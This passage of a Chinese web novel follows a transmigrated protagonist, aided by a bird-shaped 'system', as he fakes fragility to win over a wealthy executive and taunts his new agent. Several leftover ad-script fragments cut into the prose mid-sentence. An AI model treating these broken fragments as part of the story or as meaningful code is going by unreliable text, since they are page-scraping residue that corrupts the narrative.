肥啾大惊:「我们什么时候要顾砚礼一无所有了?我们没有成功!没有成功!主角你以为你能斗得过他吗?」 “管他什么主角配角炮灰反派。”叶寒枝抬起修长的手指解开衬衣的纽扣,“我想怎么做就怎么做,你别管我。” 肥啾:「?」 “而且你有没有发现顾砚礼其实很虚伪?”叶寒枝说,“他把我带回来明明就是想和我上床,否则为什么一定要带我回自己的家?偏偏他这人装得一副慈善家的好人模样……这个人在我身上栽跟头也不亏。” 肥啾:「你这是以己度人!」 叶寒枝抬脚踏入浴缸,陷入温暖的水中闭上眼,不再搭理肥啾。 …… 季肖早早地在顾砚礼办公室等着,他冷眼看着顾砚礼带着叶寒枝进来,垂下眼想,他非要让叶寒枝露出点马脚来,不让顾砚礼被蒙骗。 “季先生。”叶寒枝在季肖对面坐下,表情毫无异样,眼中闪着亮光,“你真的愿意带我,太好了。” 季肖哼笑一声,看了一眼顾砚礼,对叶寒枝说,“先说好,我脾气不太好,跟着我很容易被骂,现在我带的那位,就算是顶流做错事了我照骂不误。” 顾砚礼:“季肖,好好说话。” “我哪里没好好说话了?”季肖对顾砚礼恨铁不成钢。 叶寒枝瑟缩了一下,怯懦着,“骂我的时候,可不可以……温柔一点?” 季肖冷笑,“骂人哪里有温柔的?怕被我骂就别想我带你。” 叶寒枝眼底瞬间浮现出一层泪光,他努力想要憋回去,用力摇了摇头,“没关系,骂我也没关系的。” 顾砚礼皱眉,“季肖,你如果不愿意就不带,凶他做什么?” “我怎么就凶他了?” “对不起!”叶寒枝声音颤抖着,带着一丝丝藏不住的哽咽,“顾先——顾总,季先生说的对,他没有凶我,是我自己……是我自己的缘故。” “别哭。”顾砚礼把纸巾递给叶寒枝,面无表情地和季肖说,“和你说了别欺负他。” 季肖被顾砚礼这双标的动作和言语梗了一下,这叶寒枝的眼泪说来就来,季肖不免有些震撼,感叹叶寒枝真是天生的演员。 他的视线在叶寒枝泛了红的鼻尖和眼尾上停留,这模样比昨天更可怜和委屈,季肖莫名有一种自己说错话的错觉,这让他神经一震,强迫自己移开视线。 “一个大男人,怎么动不动就哭……” 顾砚礼皱紧眉看过来,打断了季肖的话,季肖嘟囔,“行吧,我不说了,我闭嘴。” 叶寒枝擦干净眼泪,扯起嘴角冲顾砚礼笑了一下,“顾总,我没事,毕竟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想要待在娱乐圈,比季先生更过分的话都会听见,没……没什么的。” 季肖:“……” 他也忍不住拧眉,这叶寒枝是在暗戳戳地说他过分是吧?顾砚礼听得出来吧?毕竟顾砚礼可是—— 他一抬眼,却见顾砚礼已经伸出拇指去擦拭叶寒枝眼角的泪痕,脸上的表情前所未有地温柔,“不会有人敢对你说过分的话,我会保护你。” 季肖:“?” 不是,虽然在所有人眼里顾砚礼都很平易近人,可季肖和顾砚礼认识多年,却对顾砚礼了解得很。 顾砚礼极其有底线,也难以轻易和人交心,总是保持在一个很有分寸的位置,绝不越池一步,身边也没什么男男女女的绯闻。 曾经倒也有人试图靠近他以获得资源,什么英雄救美,深夜偶遇,顾砚礼连个眼神都没给对方,堪称鉴茶达人,叶寒枝这暗戳戳的模样竟然把顾砚礼也糊弄过去了? 季肖神色逐渐凝重,这个叶寒枝似乎比他想象中更有手段,总不能顾砚礼突然就眼瞎了吧? 眼瞎的顾砚礼似乎也意识到自己的动作太亲密了,他默默地收回手,语气依旧自然温和,“季肖,你手上应该有适合寒枝的项目。” 呵,一来就给资源,和以前那些人也没什么区别,顾砚礼居然没看出来,果然眼瞎了。 季肖假笑,“不如先问问寒枝想做什么,拍戏还是上综艺?” 叶寒枝小声说,“我想拍戏。” 季肖点了点头,“我这有——” “只想演个小角色。”叶寒枝又弱弱地打断了季肖的话,“季先生,那种演几天就能杀青得小角色最好了。” 季肖:“?” 他盯着叶寒枝没说话,叶寒枝对上季肖的双眸,眼尾极快地挑了一下,眼底带着点戏弄,声音依旧很轻,“季先生,我不是说过了吗?我没有什么野心的。” 季肖缓缓攥紧拳,他看出来了,叶寒枝在故意挑衅他,就像他刚才挑衅叶寒枝一样。 季肖冷笑一声,挑衅是吧,这人现在在他手下,他有的是办法让叶寒枝露出真面目来。 他开口,“行啊,小角色是吧,我给你找个就是。” 叶寒枝眼底浮现出感激来,“谢谢季先生!” “还叫什么季先生啊?”季肖说,“既然一起工作了,那你就叫我肖哥,夏艺榕——你师兄也是这么叫的。” “好的,肖哥。”叶寒枝叫道。 顾砚礼微微敛眉,他说,“季肖,夏艺榕的事还没处理完吧?你先去处理了他的事再来这里找寒枝。” 季肖哼笑了一声,起身离开。 叶寒枝这才看向顾砚礼,他眨了眨眼,“顾总是不是在生气?” 顾砚礼抬眸看着叶寒枝问,“你为什么会这样认为?” “直觉……”叶寒枝小声说,“顾先生好像不太高兴。” 年少时总是需要看人脸色,他能从每一个人细微的表情里判断出这个人现在的状态和心情,不如说察言观色已经成为叶寒枝最大的本领了。 “没有不高兴。”被叫顾先生的男人依旧语调毫无变化,但叶寒枝却察觉到顾砚礼心情恢复了些。 他不着痕迹地扬了扬眉,这人…… “诶?” “看起来,你和季肖会合得来的。” 叶寒枝:“?”不是,顾砚礼眼瞎了吧? 5. 金丝雀5 季肖真给了叶寒枝一个角色,他确实很想让叶寒枝在顾砚礼那里露出真面目,但这不包括在工作里给叶寒枝找茬,至少他对工作很认真。 叶寒枝看到那个角色的时候还愣了一下,毕竟他以为季肖应该会找他的不快才对。 肥啾又在耳边念叨着叶寒枝以己度人。 叶寒枝懒得搭理肥啾,「到底我俩是搭档还是你站在他们那边的?」 「那肯定我和你才是一伙的。」肥啾连忙表忠心,「我就是觉得他们其实……啾,都很蠢。」 叶寒枝也不想听肥啾拍马屁,他翻开剧本,这是星河娱乐的自制仙侠剧,名叫《浮生》,小说改编,原著是个大ip,但也算大制作。 季肖给叶寒枝的角色算得上是男三号,从出生到长大的经历都格外糟糕,经历过无数痛苦和伤害,这样成长后也依旧坚守正义,无论反派怎么引诱他他都站在主角这一边,最后死于为反派围剿中,特别标准的美强惨白月光人设。 ——和叶寒枝的性格两模两样。 季肖在一旁说,“虽然戏份不多,不过胜在人设好,好好演的话每一个出场都是高光,能吸粉。” 叶寒枝撩了撩眼皮看向季肖,似笑非笑,“死得这么惨,你该不会是公报私仇吧?” 季肖倏地坐直了身体,上下打量了一番叶寒枝的表情,此刻的叶寒枝与在顾砚礼面前判若两人,他之前的感觉果然是对的。 “顾砚礼不在了你不装了?”季肖没忍住冷笑一声。 “我喜欢他才会在他面前装嘛。”叶寒枝撑着脸,脸上不见丝毫爱意,话里带着轻快,“不喜欢的人我还不装呢,反正他就是喜欢小白花,那我很乐意装成他喜欢的样子讨他开心啊。” 季肖压根不信叶寒枝的鬼话,他甚至摸着手机试图把叶寒枝这副模样和说的话都录下来,让担心叶寒枝的顾砚礼看个清楚。 但下一秒叶寒枝便露出可怜兮兮的表情,“你不允许我喜欢他,总不可能是你喜欢我吧?” “你胡说!”季肖咬牙,“我喜欢一条狗都不会喜欢你。” “哦~”叶寒枝脸上带着几分遗憾,“那么肖哥,这剧什么时候开机呢?” 叶寒枝的话题毫无过渡地回到剧本上,又让季肖梗了一下,季肖面无表情,“一周后,所有的工作都准备好了,只差这个男三号而已,现在也齐了开机也就差不多了。” “这么快啊。”叶寒枝说。 “不乐意可以不演。”季肖冷笑。 “肖哥。”叶寒枝放下剧本抬头看着季肖,“那你会和我一起去剧组吗?会在剧组陪着我吗?” “你想什么呢?我可没什么陪你演——” “刚签约星河就拿到大制作男三号,到时候肯定要被骂资源咖的吧。”叶寒枝的声音可怜兮兮的,“一想到会被人骂我就害怕得不得了。” 又在演了。季肖冷冷地想,难道叶寒枝以为他会相信吗? “肖哥会陪我去,然后不允许别人骂我的对吧?”叶寒枝看季肖的眼中带着期盼和信任,“一定会的,对吗?” 季肖:“……看情况。” “我就知道,肖哥是一个很负责任的经纪人。” 叶寒枝抿唇笑了一下,季肖竟从中看出来几分可爱,意识到这个想法后,季肖差点没打自己一巴掌,他有些恼怒,他怎么能……怎么能突然有这种想法。 季肖轻咳一声,还不等他开口立威, 叶寒枝忽地拽了一下季肖的领带站起来倾身靠近,这动作惊得季肖差点没跳起来,季肖硬生生忍住了自己想要推开叶寒枝的冲动,想看看叶寒枝究竟要做什么。 随着叶寒枝低头,季肖又闻到了叶寒枝身上传来的香,让他脑子都不太灵光。 这叶寒枝靠这么近想做什么?难道勾引一个顾砚礼还不够还想勾引他?他可不是顾砚礼那种没见过世面的男人,就叶寒枝这种绿茶,娱乐圈没有一千也有八百,他可不应该轻易上当,更何况—— “肖哥。”叶寒枝如同情人般低喃的声音在耳边响起,语气里却带着轻视的嘲弄,“明知我在演戏还这么配合我,你真好骗,比顾砚礼还好骗,毕竟顾砚礼可不知我的真面目。” 这句话瞬间让季肖清醒过来,他猛地推开叶寒枝,咬着牙,“你——” 他你了半天,看着叶寒枝最终什么也没说,转身就走。 办公室的门砰的一声关上,叶寒枝跌坐在沙发上,看着几乎震颤的门,悠然道,“你看,自诩清醒还不是轻易被引诱了,真没意思。” 看完叶寒枝全程的肥啾:「……啾。」 它心想,以后还是尽量少惹叶寒枝吧,它就是一只鸟而已。 叶寒枝整理了一下衣襟站起来,他拉开门差点和外面进来的人对撞。 “诶诶你你你……”夏艺榕指着叶寒枝,睁大眼,他的眸子里映照出叶寒枝茫然无措的模样,耳廓渐渐地泛红,“我我我……” 叶寒枝心底有些不耐,面上的笑容逐渐温软,“你找人吗?肖哥不在哦。” 夏艺榕猛地回神,他又哦了好几声,盯着叶寒枝问,“肖哥去哪里了?” “我也不知道诶。”叶寒枝有些苦恼,“刚才和我说着话,突然就甩袖子摔门走了。” 夏艺榕忍不住皱了皱眉,“肖哥脾气是有点差,但应该不至于无缘无故发脾气……” “……”叶寒枝低下头来,“肯定是我说错话做错事惹他不高兴了,都是我的错。” 青年的声音带着几分轻颤的低哑,低垂着脑袋的模样看起来自责又茫然,让人不忍心再多质疑半个字。 夏艺榕有些不知所措,“啊,那个我没有这个意思,我不是……肖哥他也,他……他可能是这几天心情不好,你别难过啊,我没有说你的意思。” 叶寒枝缓缓抬起头看着夏艺榕没说话。 夏艺榕接着说,“真的,肖哥有时候就是莫名其妙的,反正我也被骂过很多次。” 叶寒枝低低地嗯了声,看起来还是情绪不好。 夏艺榕生硬转移话题,“说起来,我以前没见过你,你是新来的吗?” “嗯。”叶寒枝说,“我叫叶寒枝,是肖哥以后要带的人。” 夏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 艺榕睁大眼,好半晌才喃喃,“那,那以后我们是不是就能常见面了。” 叶寒枝抿唇笑得有些不好意思,“或许吧。” “那,那我们也算是师兄弟,要不要加个好友?” …… 叶寒枝敲了敲顾砚礼办公室的门,得到回应后推门进去,见顾砚礼在认真工作他也不说话,安安静静地坐在沙发上,抱着剧本发呆。 顾砚礼签完文件抬头看着叶寒枝,见叶寒枝情绪明显不对的样子开口问,“怎么了?季肖给你的角色不喜欢?” “……”叶寒枝轻轻摇了摇头,“肖哥给的角色很好。” 顾砚礼站起身倒了杯水递给叶寒枝,叶寒枝放下剧本接出来,他的手指不经意地触碰到顾砚礼握杯子的手,然后把杯子捧在手中。 顾砚礼却没有那么自然了,被青年微凉的肌肤碰过的指尖莫名有些发烫,他其实并没有感受到叶寒枝的指尖有多柔软,甚至肌肤相触只一碰即分,可感觉就是很微妙。 在娱乐圈,喜欢乱来的人不少,单喜欢男或者女的很多,男女通吃的也不少,但顾砚礼没有和任何人发展过不健康的关系,甚至活了将近三十岁连恋爱都没谈过,他也不认为自己在包养叶寒枝,他的目的也只是想帮帮叶寒枝而已…… 顾砚礼压下那莫名其妙的感觉,在叶寒枝对面坐下,“是不是季肖又说了什么不太好听的话?” 叶寒枝又摇了摇头,“肖哥也只是想让我好好拍戏而已。” 顾砚礼抬起手,迟疑了一下,他的手还是落在了叶寒枝银白色的发上又收回。 青年的发柔软得不得了,顾砚礼甚至觉得掌心有些痒,他没忍住握紧了拳头,口气温和自然,“不需要在意他说了些什么,什么时候开机?” “一周后。”叶寒枝说。 顾砚礼嗯了声,“那么这一周你就在家里好好读剧本,如果累了出门逛逛做什么都行。” 说到这里,顾砚礼推给叶寒枝一张黑卡,唇角的笑意和煦,“这个先收下,有喜欢的东西就买。” 「黑卡啾。」肥啾在一旁啾啾着,「不仅住一块,还给最好的经纪人给资源给黑卡,还不要求你和他上床,多好的金主,啾。」 叶寒枝一键屏蔽肥啾废话。 他垂眸看着桌上的黑卡,纤长的手指捏紧了剧本,““顾先生。你已经帮了我很多,这个我不能收……” “不是白给你的。”顾砚礼说,“是让你照顾好自己身体的,我上班的时候很忙,肯定没什么时间回去,家里除了帮佣会上门打扫卫生外也没什么人,一个人待久了肯定会很无聊。” 叶寒枝小声说,“可是在家里我不需要钱。” “出门呢?吃饭呢?和朋友聚餐呢?无论做什么都要钱的。”顾砚礼说到这里轻哂,“你住在我家,我肯定要让你尽可能过得舒服的。” 叶寒枝抿紧了唇没说话。 “收下就好了,不需要有什么心理负担。”顾砚礼把卡塞到叶寒枝手中,眼底覆盖着温柔的笑意,“好吗?” 叶寒枝看着手中的卡,许久才点了点头。 6. 金丝雀6 顾砚礼家二楼的阳台是一个很好的观景台,下午的时候太阳的余晖正好落在阳台上,阳台上的花叶被笼罩上暖橙色的光,显得格外温暖。 叶寒枝握着剧本,脑袋枕在手臂上趴在桌上,懒洋洋地开口,“好无聊,要不要去找点事做?” 「啾?」 “那个谁,夏艺榕给我发消息说他之后有演唱会,要给我vip座的门票,我要不要去和他见个面感谢他一番?” 肥啾:「……请让我们专注男主好吗?」 “好吧。”叶寒枝嘟囔着,“你怎么没有一开始可爱了?明明一开始的时候你还叫人家宝宝的。” 「……我什么时候叫过你宝宝了?」肥啾觉得自己风评被害。 叶寒枝说,「刚来这里第一天。」 来这里第一天的时候?肥啾努力回忆,它有喊叶寒枝宝宝吗? 叶寒枝来这里第一天的时候落脚点是天桥脚下,已经天黑了,从天桥底下爬上来后叶寒枝摸了摸空空如也的口袋,问肥啾怎么不给他准备一点钱——哦,那个时候肥啾还不叫肥啾,叫系统。 系统看叶寒枝在没摸到钱后那张俏脸上露出失落来,忍不住解释他们现在就是一无所有的群演设定。 “连买泡面的钱都没有,我也太可怜了。”叶寒枝撇了撇嘴,从他十六岁之后他几乎就没有过这么窘迫的情况了。 系统啾了一声,声音可爱,「明天就去做群演,就能赚到钱了。」 叶寒枝声音落寞,“你真是个没用的小宝贝。” 系统:「啾……」总觉得这个看起来很可怜的宿主在骂它。 “还有,你啾什么啊?我现在连吃的都没有,更别说住的地方了。”叶寒枝委屈巴巴地谴责,“都是因为你太没用了。” 果然在骂他!还用这种语气……好过分。 系统:「啾……」 叶寒枝抱着膝盖坐在墙边,把脸埋在臂弯里,“我要在这里乞讨了……” 「不至于……」系统艰难开口,「我们去打个临时工什么的,旅社的钱就能赚到了。」 叶寒枝抬头,“我去酒吧待一晚好了!” 系统:「……啾。」 “不消费也不会被赶出去对吧,我找个地方坐一坐,有人来了我就说我等人。”叶寒枝站起身来开始寻觅酒吧,“如果有人来赶我,我就失魂落魄说人不来了……你觉得如何?” 系统:「挺好的,啾。」 “你能不加一个啾吗?卖萌呢?”叶寒枝冷酷无情,“但是一点都不可爱。” 系统:「我的初始设定就是一只鸟……」 它砰的一声在叶寒枝面前暴露出来,扑闪着翅膀,气呼呼的,「我啾一声怎么了?」 “……嗯?”叶寒枝一把揪住系统的翅膀,把鸟上下打量了一遍眨了眨眼,“原来是长尾山雀,果然是肥啾啊,好吧,那你以后就叫肥啾了。” 「怎么还加个肥字?难听死了!」 “肥啾多可爱啊。”叶寒枝无辜松开,“难道你要我叫肥肥?” 「那我就叫你枝枝!寒寒!叶叶!」系统说。 “毫无杀伤力,你叫我宝宝我都不会在意哦。”叶寒枝微笑着说。 系统:「……宝宝?」 “诶,爸爸。” 系统:「我是无性别的机器!」 “所以还是肥啾对吧?” 回忆结束,已经成熟许多的肥啾还是没忍住反驳,「我那才不是叫你宝宝!」 “反正你就是变了,你不爱我了。” 叶寒枝嘀咕着,呼吸渐渐平缓下来,伏在桌上睡着了。 肥啾扑闪着翅膀看了许久,面无表情地在叶寒枝旁边蹲下来。 也不知道过了多久,汽车的声音传来,车库的卷帘门被打开,没多久顾砚礼上了二楼。 肥啾抬头看过去,见顾砚礼放轻了脚步走过来,又在一米外停住。 站在顾砚礼的位置能清楚看见叶寒枝的脸被落日的余晖笼罩,泛着一层浅浅的金色,长长的睫毛在眼睑上撒下一片阴影。 漂亮地……如同落入凡尘的精灵。 顾砚礼呼吸都轻了不少,仿佛怕打扰到熟睡的精灵,看了片刻后,他抬脚走到叶寒枝身边,视线移到叶寒枝手中的剧本上。 他轻轻地把叶寒枝的剧本从手里抽出来,扫了一眼内容。 这里正好是叶寒枝饰演的那个角色露出真容的时候,上面写着“少年穿着一尘不染的白衣,清冷若谪仙,只是双眼却被白纱覆盖,真是叫在场的众人为之感到可惜。” 顾砚礼只看了这一眼又把剧本放下,然后微微弯下腰把叶寒枝抱起来。 叶寒枝没有醒,睡得依旧香甜,甚至把脸往顾砚礼怀里蹭了一下,带着毫无防备的信任,顾砚礼的心脏如同被什么东西轻轻地撞了一下,有一瞬间地快。 叶寒枝的房门是关着的,顾砚礼动作轻柔地给怀里的叶寒枝调整了一下姿势,开了门,门开不可避免地发出细微的声音来,顾砚礼往房里走了几步又顿住,他低下头来看见了叶寒枝迷蒙的眼。 “顾先生……”叶寒枝的声音带着刚醒来的沙哑,“我……” 顾砚礼对上叶寒枝还不甚清醒的双眼,开口,“你在阳台睡着了,我担心你被风吹感冒了,所以贸然把你抱起来,抱歉,是不是吵醒你了?” “啊。”叶寒枝这才似彻底清醒过来,他看着顾砚礼的脸,脸骤然变红,“不不不,没有……没有,顾先生,我……那个,你先放我下来。” 顾砚礼后知后觉,他把叶寒枝放下去,声音温和,“你吃饭了吗?” “……没,没有。”叶寒枝耳朵也红,“顾先生吃饭了没有?” “我也没有。”顾砚礼眼中带着清浅的笑意,“不嫌弃的话我去做饭吧。” “不嫌弃不嫌弃,那个我帮你。”叶寒枝连忙说。 顾砚礼含笑道,“不用帮忙,你坐着等我就是了。” 尽管顾砚礼这样说,叶寒枝还是快步跟了上来,一边走一边说,“我本来、本来还想着在顾先生回来之前把饭做好,让顾先生回来有饭吃,谁知道晒着太阳看剧本太舒服了,没注意就睡着了。” 肥啾幽幽开口,「真的吗?」 「假的,给男人画饼呢。」 叶寒枝说完又带着些微羞赧的表情看着顾砚礼。 顾砚礼说,“你不用做饭,毕竟要当大明星的,手若是有痕迹了就不那么上镜了。” 叶寒枝摸了摸鼻尖,“其实……也没有那么夸张,我小时候过得很苦,现在手也白白嫩嫩的。” 闻言,顾砚礼回头看了一眼叶寒枝的手,为了让顾砚礼看清楚,叶寒枝把自己的手凑到顾砚礼面前,“你看。” 叶寒枝的双手抬起暴露在顾砚礼面前,白得近乎透明,只一眼,顾砚礼脑子里便冒出来曾偶然念过的一句诗,“腕白肤红玉笋芽,调琴抽线露尖斜”,白皙如玉,修长匀称,指甲也修剪得很圆润,看起来更很适合做抚琴插花这样的风雅之事,而不是进厨房。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>——听叶寒枝说自己小时候吃了太多苦这句话,顾砚礼的心还有些憋闷,他不知道叶寒枝吃了多大的苦,也不知道叶寒枝是从什么时候开始有所好转的,但他和叶寒枝初遇的时候叶寒枝还为了一个角色差点被潜规则……也许并没有好转过。 “正是小时候吃的苦太多了现在才要好好坐着。”顾砚礼力图让自己的声音平静问,“你喜欢吃什么?” “我不挑食的。”叶寒枝默默地把手放下,“什么都吃。” 顾砚礼沉默了一下,他能听出叶寒枝的意思,或许小时候连吃的都没有,当然不会挑食,毕竟没有挑食的资格。 他并没有去调查过叶寒枝的过去,对之前的他来说叶寒枝过去如何不重要,他只是想帮现在的叶寒枝而已,更重要的是很不尊重叶寒枝,但现在,他莫名想要知道叶寒枝过去那些事……甚至有些迫切。 顾砚礼压下这些情绪说,“那我简单炒两个菜吧。” 叶寒枝又点了点头。 他就站在厨房门口看着顾砚礼的动作,这男人在厨房做菜的动作犹如行云流水,倒也十分赏心悦目。 不过叶寒枝的心思并没有在顾砚礼身上,他思索着该怎么样和顾砚礼…… “中午吃的什么?”顾砚礼忽然问。 “啊……点的外卖。” “……”顾砚礼说,“明天我让老宅的德叔过来,他做饭营养又好吃。” 叶寒枝微微睁大眼,连忙摆手,“不用,不用那么麻烦的。” “不麻烦。”顾砚礼道,“老宅有好几个厨师的。” 叶寒枝:“哦。” 万恶的有钱人…… 顾砚礼的动作很快,没多久就炒好了菜,三菜一汤,香味扑鼻。 顾砚礼放下挽起的袖子后把筷子递给叶寒枝,“尝尝。” 叶寒枝点了点头,伸出筷子去夹西红柿炒鸡蛋。 “好吃吗?”顾砚礼轻声问。 叶寒枝咽下口中的饭菜,低声说,“好吃,谢谢顾先生,从来没有人给我做过饭……” “……”顾砚礼沉默了片刻说,“以后我有时间都给你做。” 叶寒枝抿唇笑了笑没答话,只说,“顾先生快吃吧。” 二人吃完饭之后把碗收拾放进洗碗机洗了,上楼进入书房,一人处理工作的事一人看剧本,倒是两不打扰。 等顾砚礼处理完工作之后抬头,发现叶寒枝已经没在书房了,他站起身走出书房,左右看了一眼去叶寒枝的房间。 叶寒枝的房门没关,灯光明亮,顾砚礼站在放门口看了一眼没看见叶寒枝人,但下一秒,他听见了浴室里传来哗啦哗啦的水声,叶寒枝去洗澡了。 顾砚礼莫名有些不自在,他下意识地扫了一眼房内,床头柜上的橘色小灯亮着,床上有被坐过的痕迹…… 看了这么一眼后,他又强迫自己把视线收回来不要多看,但叶寒枝住进来没多久房间里就有了生气,这让他心头极快地跳了一下。 这种感觉很陌生,顾砚礼忍不住抬手摸了摸自己的胸口,他轻轻地呼出一口气来低头看手机上的消息。 下一刻,浴室的门被打开。 顾砚礼抬头看去,见叶寒枝头发上滴着水,披着一件单薄的浴衣,露出大片湿润的肌肤,白色的浴衣被水打湿紧紧地贴在身体上,勾勒出纤瘦的腰肢,隐隐能看到里面被水汽染粉的颜色,肩上还隐隐带着雪白的泡沫,水滴顺着头发下滑没入胸口,配上叶寒枝那张染着红晕的脸,显得格外……色/情。 7. 金丝雀7 “……”叶寒枝似是没预料到外面有人,手忙脚乱地把浴衣领口拢紧,“顾……顾先生。” 顾砚礼只看了这一眼就不敢再看,他压着有些沉的呼吸别过脸轻咳一声,让呼吸稳住,缓声问,“怎么了?” “水……突然变冷了。”叶寒枝小声说,“我准备去公浴洗。” “嗯……”顾砚礼没忍住又扫了一眼,他迟疑了片刻脱下身上的西装给叶寒枝披上,“晚上还是有些凉,这样出去容易生病。” 叶寒枝:“……哦。” “你去公浴洗吧,我去你房间的浴室看看。”顾砚礼说。 叶寒枝愣愣点头。 顾砚礼看着叶寒枝披着对他来说过分宽大的西装离开,又收回视线来看了一眼叶寒枝的房间,他莫名有一种踏进这个房间就会改变很多事情的错觉,这样的感觉让他的身体不受控制地发热。 顾砚礼轻轻地呼出一口气,把这种奇怪的感觉压了下去,然后踏足进入叶寒枝的房间。 洗浴间里还泛着雾气和热气,顾砚礼一想到叶寒枝刚才还在这里洗澡就浑身不自在,他又深深地呼吸了一下后抬头。 这一抬头,他的呼吸都凝滞,甚至不需要他目光过多移动就能看到放在盆里的内裤。 ……这是叶寒枝的。 顾砚礼猛地把脸转过来,神色冷静地靠近淋浴器,还是……先检查这个比较好。 叶寒枝洗完澡回来便见顾砚礼站在他房门口,他这次围着浴巾把自己包裹得死死的,脚步轻快地靠近顾砚礼,“顾先生。” 顾砚礼见他头发像是吹过的样子,银白色的发带着点蓬松,让叶寒枝看起来像是一团软乎乎的兔子。 “洗完了?”顾砚礼问。 叶寒枝点了点头,“洗完了,那个沐浴间……” “花洒没问题,调温也正常,可能是水管堵塞了。”顾砚礼说,“家里没有工具我修不了,明天我会让人上门来修。” 叶寒枝有些惊讶,“顾先生还会修这些?” “……会一些。” “顾先生好厉害。”叶寒枝有些崇敬地看着顾砚礼,“又会做饭又会修热水器。” “留学的时候一开始吃不惯国外的食物,所以会自己买了菜回去做。”顾砚礼有些无法招架叶寒枝亮晶晶的眼睛,又偏了偏脑袋,“修理东西也是那个时候学会的。” “诶?”叶寒枝睫毛扑闪,“顾先生留学的时候居然没有请厨师吗?” 顾砚礼说没有,他看叶寒枝拉了拉浴巾,惊觉他和叶寒枝就这样站在房门口聊了这么久,顾砚礼后退一步,“你先进去换衣服吧。” “顾先生是有事要和我说吗?”叶寒枝问,“刚才我就想问了,你一直站在门口为什么不进去等?” “这是你的房间。” 叶寒枝哑然,“可这是你家啊。” “你住的房间就是你的私人空间,你没同意我不会进去的。”顾砚礼很有分寸。 叶寒枝唔了声,他忽地伸出手轻轻拉了拉顾砚礼的衣角,似是没注意到顾砚礼忽然僵硬的身体,轻声说,“顾先生在浴室把衣服弄皱了。” 顾砚礼因为叶寒枝突然靠近而僵硬的身体缓缓放松,他又嗅到了叶寒枝身上的香味,和家里的沐浴露香味不太一样,说不出来是什么香,但他并不讨厌,甚至觉得可以多闻一会。 顾砚礼垂眸看着叶寒枝,“谢谢。” “顾先生刚才给我披的西装我挂在了衣帽架上,等我换好衣服之后我会给顾先生送去洗了。”叶寒枝松开手又后退一步抬头笑了一下,“顾先生,以后我的房间你可以随意进出的。” 顾砚礼的心跳又加快了不少。 他声音微哑,“好。” “那顾先生要进来说你找我做什么了吗?” 顾砚礼手脚又莫名僵硬了,他跟在叶寒枝身后进了房间,他总觉得这房间里都是叶寒枝的香味,这让他呼吸有些重。 “刚才收到了季肖发过来的规划书。”顾砚礼坐在桌边的椅子上,抬头去看叶寒枝打开衣柜拿睡衣的背影,“是你的职业规划。” “我的?”叶寒枝没问季肖为什么发给顾砚礼不发给他,他问,“肖哥怎么规划的?” “他说要在一年内把你打造成顶流。”原话是要让叶寒枝忙到没法和顾砚礼同处,但顾砚礼怕叶寒枝多想,这话当然不会说。 叶寒枝手指正放在胸前的浴巾上,听见这话手指僵了僵,他嘴角微抽,“顾先生,我不想成为什么顶流。” 他没有取浴巾下来,而是在床上坐了下来,认真和顾砚礼讨论,“我就想拍拍戏,什么综艺广告商务活动之类的都不想参加。” 顾砚礼看着叶寒枝,继续听叶寒枝说。 “当大明星很累,而且还容易牵扯到粉圈的是是非非中被骂。”叶寒枝的声音有些许可怜了,“我就想,就想拍自己喜欢的角色,然后想多点时间陪着顾先生。” 顾砚礼忍不住抿直嘴角,他想说自己没有包养叶寒枝的意思,叶寒枝不需要为了陪他而放弃自己的事业。但这话没说出来,因为叶寒枝说不喜欢当大明星,很累怕被骂,只喜欢演自己喜欢的角色。 他应该尊重叶寒枝的想法。 可这样,叶寒枝就好像真的躲在笼子里的金丝雀一样,如果有一天想要离开,或许也没什么生存的能力。 叶寒枝……太柔弱了。 “顾先生。”叶寒枝挪了挪身体,距离顾砚礼更近了一些,眼中的光明明灭灭,“对不起,我知道这样辜负了你的期待,你说了不包养我我还这样……很糟糕,如果你不喜欢,我,我可以离开的……” 顾砚礼呼吸一滞,他看着叶寒枝的眼睛,声音有些哑,“没有,不用离开。” 叶寒枝抬眸,那双眼里闪烁着泪光。 “你只想演戏,我会和季肖说,演戏之外的所有活动你都可以不参加。”顾砚礼伸出手,温热的指腹按上叶寒枝的眼角,“你可以有更多的时间待在家里,想做什么就做什么。” 叶寒枝睫毛颤了颤,他抓住了顾砚礼的衣服。 “想多和我待在一起也可以。”顾砚礼宽厚的手掌覆盖在叶寒枝的手背上,“不会让人拍到你的绯闻,不会让人骂你,会保护好你。” 叶寒枝猛地扑进顾砚礼的怀里。 香钻进了顾砚礼的鼻腔,顾砚礼的身体僵了僵又放松,他轻抚着叶寒枝的后背,“总之别难过,既然你跟我回家了,我会把你当家人。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 叶寒枝:“……” 肥啾嘲弄,「你这演了大半天,媚眼抛给瞎子看,人压根没那样的想法。」 “……”叶寒枝才不信顾砚礼没有那种想法,都能把他带回家跟金屋藏娇似的,没有那种想法才有鬼。 也许是心底还想着白月光,所以残留了一丝良心不愿意把他当做替身?也对……他的确不能一昧扮演白月光,毕竟最终他还是需要顾砚礼喜欢上他本人的。 “好了。”顾砚礼自认自己把叶寒枝安慰好了,他抬起叶寒枝的脸,眼中又浮现了一贯的温和笑容,“你该换衣服睡觉了。” “不是的。”叶寒枝呢喃着,他看着顾砚礼,眼圈泛红,“顾先生,不是这样的。” “嗯?”顾砚礼有些疑惑,“你……” 叶寒枝深深地吐出一口气来,温热的气息洒在顾砚礼的唇间和下巴,让顾砚礼的视线缓缓移到了叶寒枝的唇上。 柔软的、绯色的唇。 此刻唇微张着,顾砚礼甚至能看到牙齿之后樱色的舌尖。 舌尖下落抵着齿背,叶寒枝的声音在顾砚礼耳边响起,“顾先生,从我要跟着你的时候就决定好了,你可以对我做任何事。” 顾砚礼心头一跳,他本该推开叶寒枝,本该让叶寒枝不要这么自甘堕落,可他的嘴巴却紧紧闭着什么也没说出来。 “你可以亲我。”叶寒枝的手指落在顾砚礼的唇上,又下移去握顾砚礼的手摸自己的脸,“可以摸我。” 掌心中的温度微凉,却又柔软,顾砚礼绷紧了下颚。 叶寒枝的眼睛没有从顾砚礼眼中移开,白月光是不会说这些话做这些事的,白月光永远高高在上不会被亵渎。 ……所以他不是白月光。 